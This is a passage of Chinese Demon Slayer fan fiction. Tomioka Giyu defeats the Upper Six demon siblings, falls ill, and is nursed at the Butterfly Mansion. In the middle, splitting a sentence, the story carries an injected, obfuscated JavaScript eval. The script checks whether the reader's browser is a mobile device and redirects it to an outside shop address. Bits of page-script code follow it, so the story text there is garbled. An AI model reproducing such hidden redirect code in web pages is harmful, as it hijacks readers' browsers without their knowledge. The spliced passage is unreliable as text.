我妻善逸和嘴平伊之助一个用出霹雳一闪,一个用出碎裂斩,替富冈义勇拦下堕姬的攻击。 堕姬被缠住,一旁的妓夫太郎也被富冈义勇的攻击压制在原地。 富冈义勇不再压制呼吸,用出全力,刀刃毫不犹豫地斩向妓夫太郎的脑袋。 水之呼吸,十二之型,暗涌。 妓夫太郎试图反击,攻击却全部被海面吞噬,无数水刺越过他的血刃,刺穿他的身体。 躲不开攻击,妓夫太郎只能眼看着脖子被砍下来。 看到这一情况的堕姬直接将缠着她的我妻善逸和嘴平伊之助甩飞出去,又将灶门炭治郎和灶门祢豆子打退,想要往外逃。 只要她的头还在,哥哥就不会有事! 富冈义勇神色平静,没有半分犹豫。 他会保护好身边的人,也会斩杀身前的两个鬼。 无论付出怎样的代价。 富冈义勇松开握着刀的左手,做出虚握着刀的姿势。 他深深地吸了一口气,眼神愈发坚定,猛地挥出左手。 水之呼吸,一之型,水面斩。 蓝色的水朝着逃离的堕姬席卷而去,无数的水刺攻向妓夫太郎。 同一时间,他们的头被砍了下来! 富冈义勇将刀插在地面,撑住虚弱的身体。同时用出两招,让他的身体超负荷,现在眼前阵阵发晕,呼吸也变得急促。 模糊的视线里,他注意到妓夫太郎身体还在行动,心下一惊,咬着牙站起来,闪身来到朝他跑来的灶门炭治郎身前。 他一巴掌按下灶门炭治郎的脑袋,右手划出很大的圆弧。 血鬼术,飞行血镰。 水之呼吸,凪。 血液与水碰撞。 前者攻,后者守。 血刃被海面一一吞噬。 周围变得寂静。 两个鬼,消失了。 富冈义勇收了招式,脱力地倒在灶门炭治郎身上。 身体本就超负荷,又用出了凪,富冈义勇的胸口剧烈地疼痛着,影响到正常的呼吸,让他缺氧一样眼前阵阵发黑。 “咳咳咳,咳,帮我,咳,和伊黑,说声抱歉……咳咳咳”断断续续的话语,还格外得轻,要不是离得近,灶门炭治郎都没办法听得清。 富冈义勇的衣服因为打斗而有些破损,也让灶门炭治郎看到了他身上的伤疤。 灶门炭治郎扶着富冈义勇躺下,眼角泛泪:“富冈先生!” “有话就要自己说啊!” 富冈义勇身上一点力气都没了,胸口传来剧痛,连带着心脏也很不舒服,就连意识也变得昏昏沉沉。 灶门祢豆子刚刚被哥哥护在怀里,她挣脱出来,看到了富冈义勇胳膊上的伤口。 她知道面前的人,哥哥经常提起他。 要保护人类,不可以看着他死去。 她忽然心有所感,划开指尖,让血液落到富冈义勇胳膊的伤口上。 桃红色的火焰在富冈义勇的身上燃起。 灶门祢豆子觉醒了血鬼术。 一旁的灶门炭治郎捧着脸,惊讶地大喊:“祢豆子!” 他立马将灶门祢豆子抱起来,然后查看富冈义勇的情况。 火焰没有灼伤富冈义勇,反而将他因为中毒而溃烂的伤口恢复了。 “毒,毒素消失了?”灶门炭治郎看着富冈义勇,又看看手里抱着的妹妹。 灶门祢豆子看着哥哥,无辜地眨了眨眼。 灶门炭治郎知道自己误会了,连忙把妹妹放下来。然后就见妹妹也碰了下他,同样的火焰将他包裹。 他看了看自己的手,又看了看身体。火焰看着很猛烈,却感觉不到热和痛,反而觉得身体变得轻松了不少。 在刚刚的战斗中,他们都多多少少中了妓夫太郎的毒。 没了毒素的影响,富冈义勇清醒了一些,刚想要开口,就开始止不住地咳嗽。 过度使用水之呼吸的代价。 灶门炭治郎不敢乱碰富冈义勇,生怕他身上有伤,只轻轻地帮他拍着后背。 “富冈!你又乱来!”伊黑小芭内在收到鎹鸦消息就往这边赶,没想到紧赶慢赶,还是晚了一步。 周围一片狼藉,路上还捡了两个晕过去的新人,现下一点动静没有,伊黑小芭内就知道他们已经打完了。 伊黑小芭内一手拎着我妻善逸,一手拽着嘴平伊之助,将他们放到地上。 灶门祢豆子凑过去,用同样的办法消除了他们身上的毒。 伊黑小芭内饶有兴趣地看着灶门祢豆子:“血鬼术?” 富冈义勇的视野一片昏暗,耳朵也传来一阵阵的嗡鸣,根本没听清伊黑小芭内说什么,只是隐约看到了他的身影。 他在咳嗽中微微抬头,扯了扯嘴角:“咳,咳咳,抱歉……咳咳,打完了……” 伊黑小芭内忍着想要揍人的冲动,脱下自己的羽织,披到富冈义勇身上,然后搀扶他起来。 “炭治郎,我先带富冈回蝶屋。隐的人就在路上,你们看着伤情不算严重,到时候处理完伤,跟着隐回蝶屋检查。”伊黑小芭内看向灶门炭治郎。 听到伊黑小芭内的话,灶门炭治郎点点头:“我知道了。” 他起身去查看我妻善逸和嘴平伊之助的情况,见他们呼吸平稳,也放下了心。 在和堕姬打斗的时候,他们几个只受了些皮外伤,并没有什么大事。 伊黑小芭内将富冈义勇背起来,快速往蝶屋赶。 富冈义勇还在咳嗽,断断续续地挤出一句话:“咳,我这次可,咳咳,没有受,咳咳,很严重的伤。咳,咳咳。” “是,没受重伤。谁现在这么难受?呵,我可不知道。”伊黑小芭内冷冷地回答。 富冈义勇没有半点心虚,反而带着一点自信与炫耀:“咳,上弦六,有两个。我双手同时用了,咳咳,招式,咳咳咳,它们一起,咳,杀了。” 伊黑小芭内脚步一顿,还能这样的? 他轻啧一声,见富冈义勇咳嗽个不停,斥责道:“咳嗽就别说话了。说了也听不清。” 富冈义勇轻轻笑了笑,也不再说话了。 游郭离总部有些距离,在回蝶屋的路上,天也渐渐亮了。 温暖的阳光照在两个人身上。 富冈义勇的咳嗽已经止住了,只是胸口依旧很痛,心脏也时不时彰显着它的存在。 上弦鬼死了,炭治郎他们没事,伊黑也在。 他放下心神,渐渐睡着了。 伊黑小芭内感到背后一沉,以为富冈义勇晕过去,轻啧一声,赶路的速度更快了。 72.第 72 章 在快到蝶屋的时候,富冈义勇迷迷糊糊地醒过来了。 他的意识不算清醒,呢喃着说:“伊黑……我饿了……” “醒了?”伊黑小芭内没好气地问他,“想吃什么?” 富冈义勇换了个脸颊靠在伊黑小芭内的身上,声音也有哑:“萝……卜……鲑……鱼……” 富冈义勇越说声音越小,让伊黑小芭内察觉到了不对劲。 他停下脚步,空出一只手,去碰了碰富冈义勇的额头。 好烫! 伊黑小芭内重重啧了一声,背好富冈义勇,继续往蝶屋赶。 就这还说没受什么重伤,这都发烧了! 吃什么萝卜鲑鱼! 想想得了! 富冈义勇还在嘟囔着什么,什么酒不好喝,衣服不方便,伊黑小芭内完全没有心思听,担心他乱动,还得操心他不掉下去。 为了省时间,伊黑小芭内没从正门进,直接选了最短的路线,翻墙跃进了院子里。 他进到里面,背着富冈义勇就去找医生。 听到动静的医生赶紧从办公室出来,看到伊黑小芭内在护士的帮助下把富冈义勇放到了轮椅上。 因为发烧,富冈义勇整个人都迷迷糊糊的,任由旁人摆弄他的身体。 医生赶紧走过去:“中毒了?这次的伤口多吗?失血严重吗?” 她摸了摸富冈义勇的额头:“好烫!” 伊黑小芭内将他过去时的情况简单说了说,又继续道:“除了胳膊的伤口,应当没有外伤。但他一开始咳嗽止不住,后面好点了,现在还发烧了。” 医生朝伊黑小芭内点点头,就和护士一起推着富冈义勇进了急诊室开始检查。 伊黑小芭内看了眼房间,没在这继续等着,准备去找产屋敷耀哉汇报情况。 上弦鬼一共六名,现下已除去四个,这对鬼杀队来说,无疑是个好消息。 宽三郎比伊黑小芭内回来得早一点,他是看着富冈义勇战斗的,知道他没受什么伤,就先去汇报游郭的情况。 伊黑小芭内过去时,宽三郎刚好汇报完,见他过来,就知道富冈义勇已经到蝶屋了。他和产屋敷耀哉告辞,就扇扇翅膀,往蝶屋飞去。 “小芭内,义勇的情况怎么样?”产屋敷耀哉问道。 伊黑小芭内如实回答:“发了高烧,医生和护士正在给他检查。我估计要不少时间,就先来找主公汇报。” 产屋敷耀哉有些担忧:“宽三郎说义勇战斗时没怎么受伤,只是最后有些脱力,中的毒还被祢豆子解开了,怎么还是发烧了?” 伊黑小芭内摇摇头:“目前还不清楚,但富冈说的话几乎不能信,宽三郎和义勇一直在一起,想必也是如此。” 产屋敷耀哉了然地点点头:“也有道理。毕竟上弦六是两鬼一体,还擅长中毒,或许有什么没察觉的伤势也说不定。” 伊黑小芭内简单汇报了一下他之前的任务情况,又交代了一下游郭的一些事件。 “小芭内,辛苦你了,义勇发烧,后续的一些事还需要你操心处理下。”产屋敷耀哉温和笑笑。 伊黑小芭内觉得这倒是没什么,本来这就算是他的工作。 两个人又简单聊了几句,伊黑小芭内就离开了。他带着富冈义勇回来得快,隐的人还在后面,他还得去接一接。 而另一边的蝶屋里,医生和刚回来的蝴蝶香奈惠看着检查结果十分不解。 “胳膊上的伤已经处理好了,没什么大碍,身上也没有额外的外伤。检查结果大部分也都正常,好像真的只是受凉发烧了。” “要不,咱们再检查一遍?” “再查一下吧。” 富冈义勇的手背又被扎了针,最后在医生和护士的不确定目光里,被送到了病房。 “这次义勇是碰上的上弦鬼吧?”医生的语气里充满着怀疑。 旁边的蝴蝶香奈惠点点头:“碰到的上弦六,听说还是两个鬼。” 医生摸着下巴:“难不成还有什么伤势是咱们没查出来的?” “可是咱们已经检查了两遍,新的血液检测报告也出来了,和之前的一模一样。”蝴蝶香奈惠也有些忧心,“要不咱们把他的血液样本和检查报告送去珠世小姐那边看看?” 医生点头:“送一份去吧,以防万一。” 富冈义勇不知道大家的忧心,睡得很是安详,等到晚上才慢慢醒过来。 他的烧还没退,醒过来就觉得头疼,嗓子干。 身体软绵绵的,没有一点力气。 富冈义勇眼睛半睁不睁的,迷迷糊糊就想撑着身体想要坐起来。 房间里没有人,他想起来倒点水喝。 “富冈先生!不要动!” 房门被推开,突如其来的声音吓了富冈义勇一跳,让他直接睁大了眼。 推门的人是灶门炭治郎。 现在天已经黑了,灶门祢豆子跟在哥哥的身后,慢慢走了进来。 “富冈先生,你躺着不要动,想要什么,给我说。”灶门炭治郎扶着富冈义勇重新躺下。 “我只是想倒杯水。”富冈义勇的声音沙哑,还带着高烧的虚弱感。 灶门炭治郎在富冈义 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17381570|196476||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 勇身后垫上软垫,扶他半坐起来,又替他盖好被子,这才拿了杯子去接水。 在出门前,灶门炭治郎还交代妹妹看好富冈义勇。 富冈义勇眨眨眼,满满的疑惑。 他只是感冒了发个烧而已,为什么要这么小心? 过度使用水之呼吸的后遗症都消失了,呼吸不难受,胸口和心脏也不疼了,只是因为发烧他整个人很累。 至于为什么会发烧,大概是他穿得太少,被伊黑小芭内背回来的时候吹了风。 灶门祢豆子拍拍富冈义勇没有扎针的手,让他好好休息。 富冈义勇看向灶门祢豆子,问她:“我身上的毒是你用血鬼术解开的吧,多谢你了。” 他迷迷糊糊的时候看见她在用一种桃红色的火焰。在中毒以后,他有用呼吸法阻止毒素的蔓延,虽然不会危及生命,但多少会让大家担心。现在毒被解开,也能让大家少操些心。 很显然,富冈义勇这时候还不知道医生和蝴蝶香奈惠已经开始质疑起蝶屋仪器的准确性。 灶门祢豆子的神智还是个小孩,听不太懂,学着哥哥的动作,安抚似地拍了拍他的手。 富冈义勇还想说些什么,却因为嗓子太干,轻轻咳了几声。 灶门炭治郎这时候也端着水进来了。 喝完水,富冈义勇才觉得嗓子舒服点了。 “富冈先生,你有觉得哪里难受吗?”灶门炭治郎拉个凳子过来,坐在床边。 富冈义勇感受了一下,老实回答:“头晕,没力气,嗓子有点疼。还有些饿,想吃东西。” 灶门炭治郎认真地记下来,又继续问他:“伤口会疼吗?还有没有哪里觉得疼的?” 富冈义勇摇摇头:“胳膊的伤有一点疼,其他地方都没有事。” 战斗的时候他有留意,只有胳膊被不小心划伤,然后中了毒。现在毒素消除,伤口也包扎好,等烧一退,他就没事了。 灶门炭治郎认真点头:“好,我全部记下了。” 富冈义勇看着他一板一眼的样子,不禁疑惑地问:“炭治郎,你问这些是做什么?” 灶门炭治郎从床头柜里拿出来一个体温计:“医生和香奈惠小姐还在研究富冈先生的检查报告,说等你醒了后要把这些问题挨个问一遍。” 富冈义勇把体温计夹好,更加疑惑了:“为什么要研究我的检查报告?我只是发烧了。” 灶门炭治郎笑笑:“她们还说,不可以信富冈先生说的任何有关身体的话。” “……”富冈义勇沉默。 他这次真的只是发烧了啊!